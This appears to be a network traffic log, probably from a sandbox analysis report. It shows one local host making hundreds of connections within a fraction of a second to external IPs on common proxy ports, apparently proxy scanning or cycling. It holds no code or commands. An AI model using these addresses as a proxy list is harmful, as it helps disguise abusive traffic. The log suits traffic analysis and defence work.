Mar 11, 2024 16:39:45.457582951 CET	50697	8080	192.168.2.10	188.132.222.7
Mar 11, 2024 16:39:45.457582951 CET	50680	3128	192.168.2.10	192.46.229.19
Mar 11, 2024 16:39:45.457586050 CET	50703	4145	192.168.2.10	61.7.183.101
Mar 11, 2024 16:39:45.457588911 CET	50708	18080	192.168.2.10	152.32.130.117
Mar 11, 2024 16:39:45.457587957 CET	50704	4145	192.168.2.10	72.210.221.223
Mar 11, 2024 16:39:45.457587957 CET	50701	5678	192.168.2.10	115.243.142.185
Mar 11, 2024 16:39:45.457597971 CET	50699	35396	192.168.2.10	192.163.200.200
Mar 11, 2024 16:39:45.457602024 CET	50724	7999	192.168.2.10	122.185.198.242
Mar 11, 2024 16:39:45.457602024 CET	50707	4145	192.168.2.10	72.195.34.41
Mar 11, 2024 16:39:45.457606077 CET	50875	4145	192.168.2.10	101.109.251.42
Mar 11, 2024 16:39:45.457608938 CET	50164	21777	192.168.2.10	51.222.84.118
Mar 11, 2024 16:39:45.457617044 CET	50715	999	192.168.2.10	157.100.6.202
Mar 11, 2024 16:39:45.457616091 CET	50160	59268	192.168.2.10	67.213.212.50
Mar 11, 2024 16:39:45.457616091 CET	50713	3128	192.168.2.10	51.178.165.36
Mar 11, 2024 16:39:45.457624912 CET	51026	26887	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:45.457624912 CET	51017	45629	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:45.457624912 CET	50711	8187	192.168.2.10	176.8.230.197
Mar 11, 2024 16:39:45.457628965 CET	50811	8080	192.168.2.10	115.96.208.124
Mar 11, 2024 16:39:45.457631111 CET	50958	3128	192.168.2.10	185.174.137.30
Mar 11, 2024 16:39:45.457654953 CET	50726	17639	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.457654953 CET	50719	8080	192.168.2.10	154.126.81.163
Mar 11, 2024 16:39:45.457665920 CET	50722	64579	192.168.2.10	162.214.121.173
Mar 11, 2024 16:39:45.457667112 CET	50720	8888	192.168.2.10	35.199.90.225
Mar 11, 2024 16:39:45.457668066 CET	50738	5678	192.168.2.10	36.66.133.19
Mar 11, 2024 16:39:45.457669973 CET	50727	80	192.168.2.10	139.99.244.154
Mar 11, 2024 16:39:45.457693100 CET	50731	8080	192.168.2.10	165.227.95.2
Mar 11, 2024 16:39:45.457695007 CET	50733	34405	192.168.2.10	212.110.188.198
Mar 11, 2024 16:39:45.457695961 CET	50728	19770	192.168.2.10	207.244.255.174
Mar 11, 2024 16:39:45.457695961 CET	50743	43328	192.168.2.10	192.169.226.96
Mar 11, 2024 16:39:45.457695961 CET	50759	7117	192.168.2.10	135.181.102.118
Mar 11, 2024 16:39:45.457698107 CET	50764	6005	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:45.457710028 CET	50753	62952	192.168.2.10	104.248.158.78
Mar 11, 2024 16:39:45.457715034 CET	50745	3128	192.168.2.10	103.28.121.58
Mar 11, 2024 16:39:45.457715034 CET	50754	64110	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:45.457716942 CET	50735	36779	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:45.457716942 CET	50741	4228	192.168.2.10	5.161.219.13
Mar 11, 2024 16:39:45.457720995 CET	50747	80	192.168.2.10	190.5.77.211
Mar 11, 2024 16:39:45.457720995 CET	51032	1929	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.457746029 CET	50758	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:45.457746983 CET	50757	8089	192.168.2.10	118.117.190.148
Mar 11, 2024 16:39:45.457746983 CET	50762	37976	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:45.457964897 CET	3128	50558	213.131.230.161	192.168.2.10
Mar 11, 2024 16:39:45.458975077 CET	80	49932	50.168.163.166	192.168.2.10
Mar 11, 2024 16:39:45.460254908 CET	51379	8080	192.168.2.10	103.118.44.136
Mar 11, 2024 16:39:45.460737944 CET	51380	8080	192.168.2.10	52.79.107.158
Mar 11, 2024 16:39:45.463218927 CET	51382	7497	192.168.2.10	188.166.231.51
Mar 11, 2024 16:39:45.464046955 CET	51383	40179	192.168.2.10	162.241.50.179
Mar 11, 2024 16:39:45.466130018 CET	8080	51205	170.210.121.190	192.168.2.10
Mar 11, 2024 16:39:45.466299057 CET	51384	19925	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:45.466813087 CET	80	51292	104.16.105.198	192.168.2.10
Mar 11, 2024 16:39:45.466886044 CET	51292	80	192.168.2.10	104.16.105.198
Mar 11, 2024 16:39:45.466909885 CET	57642	50479	107.180.88.41	192.168.2.10
Mar 11, 2024 16:39:45.466989994 CET	51292	80	192.168.2.10	104.16.105.198
Mar 11, 2024 16:39:45.467077971 CET	50479	57642	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:45.467077971 CET	50479	57642	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:45.467971087 CET	51385	34071	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.468287945 CET	51386	59058	192.168.2.10	213.136.75.85
Mar 11, 2024 16:39:45.470438957 CET	51387	80	192.168.2.10	51.75.206.209
Mar 11, 2024 16:39:45.471992016 CET	51388	3129	192.168.2.10	20.219.235.172
Mar 11, 2024 16:39:45.472300053 CET	80	49891	50.223.239.166	192.168.2.10
Mar 11, 2024 16:39:45.472492933 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.473175049 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.473193884 CET	49750	40351	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:45.473195076 CET	50732	80	192.168.2.10	18.142.81.218
Mar 11, 2024 16:39:45.473195076 CET	50734	62916	192.168.2.10	51.222.241.8
Mar 11, 2024 16:39:45.473217964 CET	51035	80	192.168.2.10	50.168.72.113
Mar 11, 2024 16:39:45.473222971 CET	49751	30951	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.473238945 CET	9091	49994	120.37.121.209	192.168.2.10
Mar 11, 2024 16:39:45.473242998 CET	50748	1976	192.168.2.10	217.52.247.86
Mar 11, 2024 16:39:45.473243952 CET	50740	1080	192.168.2.10	143.137.116.72
Mar 11, 2024 16:39:45.473244905 CET	50736	8080	192.168.2.10	203.150.172.151
Mar 11, 2024 16:39:45.473246098 CET	50744	5678	192.168.2.10	115.75.160.196
Mar 11, 2024 16:39:45.473246098 CET	50765	80	192.168.2.10	123.110.158.236
Mar 11, 2024 16:39:45.473246098 CET	50769	7497	192.168.2.10	187.191.53.155
Mar 11, 2024 16:39:45.473246098 CET	50771	4850	192.168.2.10	192.169.226.96
Mar 11, 2024 16:39:45.473251104 CET	9091	49994	120.37.121.209	192.168.2.10
Mar 11, 2024 16:39:45.473253965 CET	50763	64556	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:45.473278999 CET	49976	8080	192.168.2.10	92.118.132.125
Mar 11, 2024 16:39:45.473279953 CET	50768	4153	192.168.2.10	177.131.29.211
Mar 11, 2024 16:39:45.473278999 CET	50777	8083	192.168.2.10	103.84.177.28
Mar 11, 2024 16:39:45.473279953 CET	50782	8080	192.168.2.10	103.172.42.121
Mar 11, 2024 16:39:45.473278999 CET	50785	3629	192.168.2.10	190.3.72.39
Mar 11, 2024 16:39:45.473283052 CET	50179	13477	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.473283052 CET	50783	8080	192.168.2.10	180.191.254.130
Mar 11, 2024 16:39:45.473284960 CET	50749	8080	192.168.2.10	165.16.67.238
Mar 11, 2024 16:39:45.473284960 CET	50787	1976	192.168.2.10	41.65.236.56
Mar 11, 2024 16:39:45.473285913 CET	50786	8282	192.168.2.10	193.138.178.6
Mar 11, 2024 16:39:45.473284960 CET	50788	80	192.168.2.10	119.81.71.27
Mar 11, 2024 16:39:45.473305941 CET	50774	56581	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:45.473306894 CET	50778	55636	192.168.2.10	1.179.148.9
Mar 11, 2024 16:39:45.473320961 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:45.473357916 CET	9091	49994	120.37.121.209	192.168.2.10
Mar 11, 2024 16:39:45.473536015 CET	80	51147	104.19.247.62	192.168.2.10
Mar 11, 2024 16:39:45.473560095 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:45.473907948 CET	49994	9091	192.168.2.10	120.37.121.209
Mar 11, 2024 16:39:45.474605083 CET	51390	80	192.168.2.10	82.210.56.251
Mar 11, 2024 16:39:45.477668047 CET	15082	49709	45.77.111.135	192.168.2.10
Mar 11, 2024 16:39:45.477705956 CET	80	50806	89.31.143.12	192.168.2.10
Mar 11, 2024 16:39:45.478503942 CET	8080	51061	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.478513956 CET	8080	51061	91.202.230.219	192.168.2.10
Mar 11, 2024 16:39:45.479343891 CET	51391	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:45.479350090 CET	51392	5678	192.168.2.10	81.91.157.134
Mar 11, 2024 16:39:45.479641914 CET	5678	50517	101.95.182.26	192.168.2.10
Mar 11, 2024 16:39:45.480041027 CET	51389	44523	192.168.2.10	51.161.33.206
Mar 11, 2024 16:39:45.482178926 CET	51393	5678	192.168.2.10	38.83.108.89
Mar 11, 2024 16:39:45.483860970 CET	51394	32650	192.168.2.10	41.60.26.210
Mar 11, 2024 16:39:45.483891964 CET	80	51072	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.483957052 CET	51072	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.484085083 CET	51072	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.484297037 CET	51395	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:45.484643936 CET	5678	49749	122.152.53.25	192.168.2.10
Mar 11, 2024 16:39:45.484931946 CET	80	51072	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:45.485213995 CET	80	51238	172.64.152.98	192.168.2.10
Mar 11, 2024 16:39:45.485244036 CET	80	51238	172.64.152.98	192.168.2.10
Mar 11, 2024 16:39:45.485255957 CET	4145	50439	184.178.172.3	192.168.2.10
Mar 11, 2024 16:39:45.485416889 CET	80	50935	50.207.199.85	192.168.2.10
Mar 11, 2024 16:39:45.485444069 CET	50439	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:45.485781908 CET	51238	80	192.168.2.10	172.64.152.98
Mar 11, 2024 16:39:45.486162901 CET	50439	4145	192.168.2.10	184.178.172.3
Mar 11, 2024 16:39:45.486803055 CET	51396	83	192.168.2.10	102.213.223.46
Mar 11, 2024 16:39:45.486862898 CET	80	51238	172.64.152.98	192.168.2.10
Mar 11, 2024 16:39:45.486917019 CET	51238	80	192.168.2.10	172.64.152.98
Mar 11, 2024 16:39:45.487925053 CET	80	50770	50.168.163.180	192.168.2.10
Mar 11, 2024 16:39:45.488456964 CET	51397	8080	192.168.2.10	109.175.9.203
Mar 11, 2024 16:39:45.488691092 CET	27360	51303	72.195.34.35	192.168.2.10
Mar 11, 2024 16:39:45.488816023 CET	49930	80	192.168.2.10	45.139.11.200
Mar 11, 2024 16:39:45.488838911 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:45.488847017 CET	50776	3629	192.168.2.10	190.3.72.38
Mar 11, 2024 16:39:45.488858938 CET	50780	5678	192.168.2.10	93.182.76.244
Mar 11, 2024 16:39:45.488864899 CET	50791	17228	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:45.488868952 CET	50877	8080	192.168.2.10	84.241.8.234
Mar 11, 2024 16:39:45.488872051 CET	50784	83	192.168.2.10	103.183.63.14
Mar 11, 2024 16:39:45.488878965 CET	50792	999	192.168.2.10	38.7.4.89
Mar 11, 2024 16:39:45.488878965 CET	49727	80	192.168.2.10	50.217.226.43
Mar 11, 2024 16:39:45.488882065 CET	50801	5678	192.168.2.10	79.7.101.98
Mar 11, 2024 16:39:45.488883018 CET	51303	27360	192.168.2.10	72.195.34.35
Mar 11, 2024 16:39:45.488883018 CET	50867	8000	192.168.2.10	128.199.184.169
Mar 11, 2024 16:39:45.489615917 CET	80	51305	172.67.181.147	192.168.2.10
Mar 11, 2024 16:39:45.490046024 CET	4153	50546	45.226.0.2	192.168.2.10
Mar 11, 2024 16:39:45.490103960 CET	51305	80	192.168.2.10	172.67.181.147
Mar 11, 2024 16:39:45.490405083 CET	51305	80	192.168.2.10	172.67.181.147
Mar 11, 2024 16:39:45.491324902 CET	80	51071	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:45.491782904 CET	80	51071	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:45.491863966 CET	51398	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:45.493568897 CET	80	51310	104.17.132.79	192.168.2.10
Mar 11, 2024 16:39:45.493707895 CET	51310	80	192.168.2.10	104.17.132.79
Mar 11, 2024 16:39:45.493827105 CET	51310	80	192.168.2.10	104.17.132.79
Mar 11, 2024 16:39:45.494129896 CET	3128	50623	155.185.15.56	192.168.2.10
Mar 11, 2024 16:39:45.494379997 CET	8089	50541	223.247.47.231	192.168.2.10
Mar 11, 2024 16:39:45.494393110 CET	80	49887	50.174.145.11	192.168.2.10
Mar 11, 2024 16:39:45.494518995 CET	5678	50277	103.112.254.66	192.168.2.10
Mar 11, 2024 16:39:45.494530916 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.494908094 CET	51399	46249	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.495147943 CET	31295	50019	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.495192051 CET	4145	51127	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:45.495398045 CET	51400	80	192.168.2.10	104.18.136.28
Mar 11, 2024 16:39:45.495608091 CET	5385	50014	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:45.495620966 CET	4145	51127	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:45.496119022 CET	50140	999	192.168.2.10	45.229.34.174
Mar 11, 2024 16:39:45.496125937 CET	49773	80	192.168.2.10	50.239.72.18
Mar 11, 2024 16:39:45.496125937 CET	3128	50687	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.496140003 CET	8000	50805	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:45.496172905 CET	80	50870	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.496195078 CET	8000	50805	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:45.496463060 CET	51401	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:45.498420954 CET	56225	50568	104.238.111.107	192.168.2.10
Mar 11, 2024 16:39:45.498513937 CET	50568	56225	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.499881983 CET	3128	50424	188.56.223.85	192.168.2.10
Mar 11, 2024 16:39:45.499896049 CET	3128	50010	178.128.148.69	192.168.2.10
Mar 11, 2024 16:39:45.500169039 CET	50687	3128	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:45.500237942 CET	50568	56225	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.501228094 CET	51402	55029	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:45.501605988 CET	51403	9331	192.168.2.10	194.113.73.38
Mar 11, 2024 16:39:45.502281904 CET	51405	999	192.168.2.10	201.218.144.19
Mar 11, 2024 16:39:45.502289057 CET	51404	80	192.168.2.10	112.78.47.188
Mar 11, 2024 16:39:45.502584934 CET	4153	51075	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.502595901 CET	51406	80	192.168.2.10	115.240.163.31
Mar 11, 2024 16:39:45.502635956 CET	15291	51132	184.178.172.25	192.168.2.10
Mar 11, 2024 16:39:45.502744913 CET	4153	51075	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:45.502968073 CET	15291	51132	184.178.172.25	192.168.2.10
Mar 11, 2024 16:39:45.503094912 CET	22942	51169	92.204.135.37	192.168.2.10
Mar 11, 2024 16:39:45.503272057 CET	51407	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:45.503660917 CET	51408	15291	192.168.2.10	184.178.172.25
Mar 11, 2024 16:39:45.503704071 CET	80	51318	104.16.106.234	192.168.2.10
Mar 11, 2024 16:39:45.503853083 CET	51318	80	192.168.2.10	104.16.106.234
Mar 11, 2024 16:39:45.503994942 CET	51318	80	192.168.2.10	104.16.106.234
Mar 11, 2024 16:39:45.504245996 CET	80	51257	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:45.504354954 CET	51257	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.504401922 CET	3128	51089	13.37.59.99	192.168.2.10
Mar 11, 2024 16:39:45.504426003 CET	51257	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:45.504445076 CET	50795	33572	192.168.2.10	162.214.121.173
Mar 11, 2024 16:39:45.504445076 CET	50796	8595	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:45.504473925 CET	50797	1372	192.168.2.10	159.223.166.21
Mar 11, 2024 16:39:45.504757881 CET	50798	8080	192.168.2.10	37.120.192.154
Mar 11, 2024 16:39:45.504766941 CET	50800	13276	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:45.504766941 CET	50802	1080	192.168.2.10	103.47.93.194
Mar 11, 2024 16:39:45.504806042 CET	36627	51255	185.6.10.248	192.168.2.10
Mar 11, 2024 16:39:45.505410910 CET	3128	49770	46.245.77.52	192.168.2.10
Mar 11, 2024 16:39:45.505994081 CET	8080	51233	194.247.173.17	192.168.2.10
Mar 11, 2024 16:39:45.506006956 CET	10080	50053	81.19.3.249	192.168.2.10
Mar 11, 2024 16:39:45.506150961 CET	51233	8080	192.168.2.10	194.247.173.17
Mar 11, 2024 16:39:45.506704092 CET	3128	51089	13.37.59.99	192.168.2.10
Mar 11, 2024 16:39:45.507635117 CET	10080	50053	81.19.3.249	192.168.2.10
Mar 11, 2024 16:39:45.508241892 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:45.509346008 CET	51089	3128	192.168.2.10	13.37.59.99
Mar 11, 2024 16:39:45.509488106 CET	51233	8080	192.168.2.10	194.247.173.17
Mar 11, 2024 16:39:45.509497881 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:45.509506941 CET	3128	51306	38.54.101.254	192.168.2.10
Mar 11, 2024 16:39:45.509582043 CET	51306	3128	192.168.2.10	38.54.101.254
Mar 11, 2024 16:39:45.509870052 CET	51409	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:45.509871960 CET	51306	3128	192.168.2.10	38.54.101.254
Mar 11, 2024 16:39:45.509926081 CET	62969	51170	92.204.135.37	192.168.2.10
Mar 11, 2024 16:39:45.510906935 CET	3933	50021	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:45.510920048 CET	18129	50825	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.511023998 CET	26693	50837	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:45.511317968 CET	28723	50844	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:45.511512041 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:45.511524916 CET	3128	49875	160.16.90.35	192.168.2.10
Mar 11, 2024 16:39:45.511575937 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:45.513278961 CET	8193	51091	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.513324976 CET	8193	51091	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:45.513355970 CET	51091	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.513653040 CET	80	51250	37.235.48.19	192.168.2.10
Mar 11, 2024 16:39:45.513659000 CET	51091	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.513665915 CET	80	50683	50.174.214.222	192.168.2.10
Mar 11, 2024 16:39:45.513787985 CET	51410	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:45.513823032 CET	51250	80	192.168.2.10	37.235.48.19
Mar 11, 2024 16:39:45.513869047 CET	51250	80	192.168.2.10	37.235.48.19
Mar 11, 2024 16:39:45.515326977 CET	80	50850	34.75.202.63	192.168.2.10
Mar 11, 2024 16:39:45.518114090 CET	80	51333	172.67.36.21	192.168.2.10
Mar 11, 2024 16:39:45.518223047 CET	51333	80	192.168.2.10	172.67.36.21
Mar 11, 2024 16:39:45.518325090 CET	51333	80	192.168.2.10	172.67.36.21
Mar 11, 2024 16:39:45.519085884 CET	4145	50403	103.66.233.225	192.168.2.10
Mar 11, 2024 16:39:45.519399881 CET	15673	51208	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.519468069 CET	15673	51208	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.520049095 CET	49766	4495	192.168.2.10	67.43.228.252
Mar 11, 2024 16:39:45.520071030 CET	50229	4711	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:45.520091057 CET	9375	49725	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:45.520111084 CET	50968	5678	192.168.2.10	185.26.32.93
Mar 11, 2024 16:39:45.520248890 CET	8000	51246	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:45.520328999 CET	8080	50375	213.184.153.66	192.168.2.10
Mar 11, 2024 16:39:45.520349979 CET	51246	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:45.520539999 CET	51411	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.520680904 CET	51246	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:45.521755934 CET	51412	4153	192.168.2.10	88.84.62.5
Mar 11, 2024 16:39:45.521915913 CET	8080	50817	177.229.210.50	192.168.2.10
Mar 11, 2024 16:39:45.522310019 CET	80	50839	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:45.523953915 CET	8080	51252	200.97.76.186	192.168.2.10
Mar 11, 2024 16:39:45.524063110 CET	51252	8080	192.168.2.10	200.97.76.186
Mar 11, 2024 16:39:45.524775982 CET	50839	80	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:45.524944067 CET	51252	8080	192.168.2.10	200.97.76.186
Mar 11, 2024 16:39:45.525603056 CET	80	51284	162.223.116.75	192.168.2.10
Mar 11, 2024 16:39:45.525705099 CET	51284	80	192.168.2.10	162.223.116.75
Mar 11, 2024 16:39:45.525870085 CET	51284	80	192.168.2.10	162.223.116.75
Mar 11, 2024 16:39:45.527198076 CET	27391	50466	72.195.34.60	192.168.2.10
Mar 11, 2024 16:39:45.527285099 CET	8089	49796	114.231.45.101	192.168.2.10
Mar 11, 2024 16:39:45.527306080 CET	50466	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:45.527394056 CET	50466	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:45.529505014 CET	47354	50752	67.213.212.49	192.168.2.10
Mar 11, 2024 16:39:45.531275034 CET	8888	51011	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:45.531322002 CET	8888	51011	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:45.531348944 CET	51011	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:45.531662941 CET	51011	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:45.531974077 CET	51413	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:45.532082081 CET	4145	50409	168.205.217.13	192.168.2.10
Mar 11, 2024 16:39:45.533233881 CET	80	50483	3.127.62.252	192.168.2.10
Mar 11, 2024 16:39:45.533248901 CET	8118	49981	182.140.244.163	192.168.2.10
Mar 11, 2024 16:39:45.535557985 CET	8118	49981	182.140.244.163	192.168.2.10
Mar 11, 2024 16:39:45.535702944 CET	49981	8118	192.168.2.10	182.140.244.163
Mar 11, 2024 16:39:45.535744905 CET	50328	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:45.535744905 CET	50810	2233	192.168.2.10	104.131.77.66
Mar 11, 2024 16:39:45.535773039 CET	50882	35158	192.168.2.10	103.245.205.33
Mar 11, 2024 16:39:45.535777092 CET	50813	9002	192.168.2.10	39.165.0.137
Mar 11, 2024 16:39:45.535777092 CET	50815	8080	192.168.2.10	125.26.183.79
Mar 11, 2024 16:39:45.535790920 CET	49963	13623	192.168.2.10	36.255.104.1
Mar 11, 2024 16:39:45.535790920 CET	50819	80	192.168.2.10	188.40.44.95
Mar 11, 2024 16:39:45.535808086 CET	50809	80	192.168.2.10	149.102.130.120
Mar 11, 2024 16:39:45.535808086 CET	50814	8181	192.168.2.10	103.152.232.99
Mar 11, 2024 16:39:45.535809040 CET	50820	4985	192.168.2.10	82.223.121.72
Mar 11, 2024 16:39:45.535808086 CET	50816	34227	192.168.2.10	162.214.102.195
Mar 11, 2024 16:39:45.535809040 CET	49795	80	192.168.2.10	50.239.72.19
Mar 11, 2024 16:39:45.535809040 CET	50828	8080	192.168.2.10	183.89.79.25
Mar 11, 2024 16:39:45.535813093 CET	49889	3128	192.168.2.10	94.131.106.196
Mar 11, 2024 16:39:45.535815001 CET	50831	8090	192.168.2.10	89.230.92.9
Mar 11, 2024 16:39:45.535830975 CET	50824	999	192.168.2.10	38.56.23.33
Mar 11, 2024 16:39:45.535835981 CET	50822	38586	192.168.2.10	160.153.245.187
Mar 11, 2024 16:39:45.537050962 CET	8080	51278	38.159.232.6	192.168.2.10
Mar 11, 2024 16:39:45.537156105 CET	51278	8080	192.168.2.10	38.159.232.6
Mar 11, 2024 16:39:45.538147926 CET	4145	50213	68.1.210.163	192.168.2.10
Mar 11, 2024 16:39:45.538208961 CET	4145	50213	68.1.210.163	192.168.2.10
Mar 11, 2024 16:39:45.539319992 CET	4009	51304	45.61.187.67	192.168.2.10
Mar 11, 2024 16:39:45.539408922 CET	8443	50595	27.254.123.203	192.168.2.10
Mar 11, 2024 16:39:45.540477991 CET	80	51321	5.78.65.91	192.168.2.10
Mar 11, 2024 16:39:45.540556908 CET	51321	80	192.168.2.10	5.78.65.91
Mar 11, 2024 16:39:45.540679932 CET	31908	49789	64.227.108.25	192.168.2.10
Mar 11, 2024 16:39:45.540822029 CET	49789	31908	192.168.2.10	64.227.108.25
Mar 11, 2024 16:39:45.541702986 CET	80	50871	50.168.72.122	192.168.2.10
Mar 11, 2024 16:39:45.542030096 CET	10049	50869	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:45.542815924 CET	5931	50861	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.543024063 CET	80	50117	50.145.6.36	192.168.2.10
Mar 11, 2024 16:39:45.545238972 CET	8080	51212	103.190.54.141	192.168.2.10
Mar 11, 2024 16:39:45.545341015 CET	51212	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:45.545382023 CET	80	51351	104.20.89.77	192.168.2.10
Mar 11, 2024 16:39:45.546066999 CET	51351	80	192.168.2.10	104.20.89.77
Mar 11, 2024 16:39:45.547885895 CET	46656	50939	38.127.179.126	192.168.2.10
Mar 11, 2024 16:39:45.551346064 CET	50308	80	192.168.2.10	50.231.104.58
Mar 11, 2024 16:39:45.551354885 CET	50832	3128	192.168.2.10	5.34.201.244
Mar 11, 2024 16:39:45.551362038 CET	50834	999	192.168.2.10	190.217.7.8
Mar 11, 2024 16:39:45.551368952 CET	51012	8000	192.168.2.10	128.199.252.41
Mar 11, 2024 16:39:45.551368952 CET	50836	53343	192.168.2.10	66.23.233.210
Mar 11, 2024 16:39:45.551374912 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:45.551392078 CET	50840	999	192.168.2.10	190.211.250.131
Mar 11, 2024 16:39:45.552012920 CET	9990	50158	117.160.250.163	192.168.2.10
Mar 11, 2024 16:39:45.552134037 CET	50158	9990	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:45.553438902 CET	49775	28971	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:45.553441048 CET	50952	34411	192.168.2.10	212.110.188.195
Mar 11, 2024 16:39:45.553452969 CET	50835	8080	192.168.2.10	187.228.145.138
Mar 11, 2024 16:39:45.553455114 CET	50829	1080	192.168.2.10	176.115.79.195
Mar 11, 2024 16:39:45.553457975 CET	51021	7497	192.168.2.10	51.178.51.28
Mar 11, 2024 16:39:45.554565907 CET	4145	50214	24.249.199.4	192.168.2.10
Mar 11, 2024 16:39:45.554579020 CET	4145	50214	24.249.199.4	192.168.2.10
Mar 11, 2024 16:39:45.555087090 CET	8080	50718	51.68.220.201	192.168.2.10
Mar 11, 2024 16:39:45.555496931 CET	9125	50646	178.253.201.11	192.168.2.10
Mar 11, 2024 16:39:45.555556059 CET	1080	50571	140.250.150.56	192.168.2.10
Mar 11, 2024 16:39:45.558178902 CET	22645	50904	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:45.558286905 CET	26087	50033	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:45.560254097 CET	9090	51258	91.241.217.58	192.168.2.10
Mar 11, 2024 16:39:45.560457945 CET	51258	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:45.564745903 CET	80	50459	43.231.22.229	192.168.2.10
Mar 11, 2024 16:39:45.566644907 CET	5020	50429	176.192.65.34	192.168.2.10
Mar 11, 2024 16:39:45.566657066 CET	51507	50580	135.148.10.161	192.168.2.10
Mar 11, 2024 16:39:45.566754103 CET	80	50017	50.168.210.239	192.168.2.10
Mar 11, 2024 16:39:45.566845894 CET	50429	5020	192.168.2.10	176.192.65.34
Mar 11, 2024 16:39:45.566953897 CET	50841	54393	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.566962957 CET	51070	5678	192.168.2.10	190.113.90.230
